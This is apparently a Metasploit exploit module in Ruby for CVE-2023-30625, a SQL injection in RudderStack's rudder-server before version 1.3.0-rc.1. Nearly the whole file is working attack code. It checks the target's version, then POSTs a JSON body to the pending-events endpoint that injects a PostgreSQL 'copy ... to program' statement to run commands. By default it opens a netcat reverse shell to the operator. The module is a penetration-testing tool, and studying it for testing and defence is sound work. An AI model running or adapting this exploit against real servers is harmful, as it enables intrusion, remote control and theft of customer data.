135 lines
4.1 KiB
Ruby
135 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::HttpClient
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Rudder Server SQLI Remote Code Execution',
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'Description' => %q{
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This Metasploit module exploits a SQL injection vulnerability in
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RudderStack's rudder-server, an open source Customer Data Platform (CDP).
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The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1.
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By exploiting this flaw, an attacker can execute arbitrary SQL commands,
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which may lead to Remote Code Execution (RCE) due to the `rudder` role
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in PostgreSQL having superuser permissions by default.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Ege Balcı <egebalci@pm.me>' # msf module
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],
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'References' => [
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['CVE', '2023-30625'],
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['URL', 'https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/'],
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['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30625'],
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],
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'DefaultOptions' => {
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'SSL' => false,
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'WfsDelay' => 5
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},
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'Platform' => [ 'unix', 'linux' ],
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'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => %w[unix linux],
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_netcat'
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}
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}
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],
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# Due to the insufficient build instructions for Windows platforms, no testing were done on this platform.
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# As a result, the target is disabled in this exploit module.
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# [
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# 'Windows Command',
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# {
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# 'Platform' => 'win',
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# 'Arch' => ARCH_CMD,
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# 'Type' => :win_cmd,
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# 'DefaultOptions' => {
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# 'PAYLOAD' => 'cmd/windows/powershell_reverse_netcat'
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# }
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# }
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# ],
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => '2023-06-16',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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}
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)
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)
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [true, 'The URI of the Rudder API', '/']),
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]
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)
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end
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def check
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version = get_version
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return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'
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if Rex::Version.new('1.3.0-rc.1') > Rex::Version.new(version.gsub('v', ''))
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return Exploit::CheckCode::Appears("Rudder Version: #{version}")
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end
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Exploit::CheckCode::Safe
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end
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def get_version
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return @get_version if @get_version
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'version')
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)
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if res && res.code == 200
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@get_version = res.get_json_document['Version']
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if @get_version.empty?
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@get_version = 'Unknown'
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end
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@get_version
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end
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end
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def exploit
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print_status "Detected rudder version: #{get_version}"
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# If not 'Auto' then use the selected version
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case target['Type']
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# when :win_cmd
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# shell = 'cmd.exe'
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when :unix_cmd
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shell = 'bash'
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else
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fail_with(Failure::BadConfig, 'Please select a valid target')
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end
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data = "{\"source_id\": \"#{Rex::Text.rand_text_alpha(4..8)}'; copy (SELECT '#{payload.encoded}') to program '#{shell}'-- - \"}"
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print_status 'Triggering RCE via crafted SQL query...'
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/v1/warehouse/pending-events'),
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'ctype' => 'application/json',
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'data' => data
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})
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end
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end
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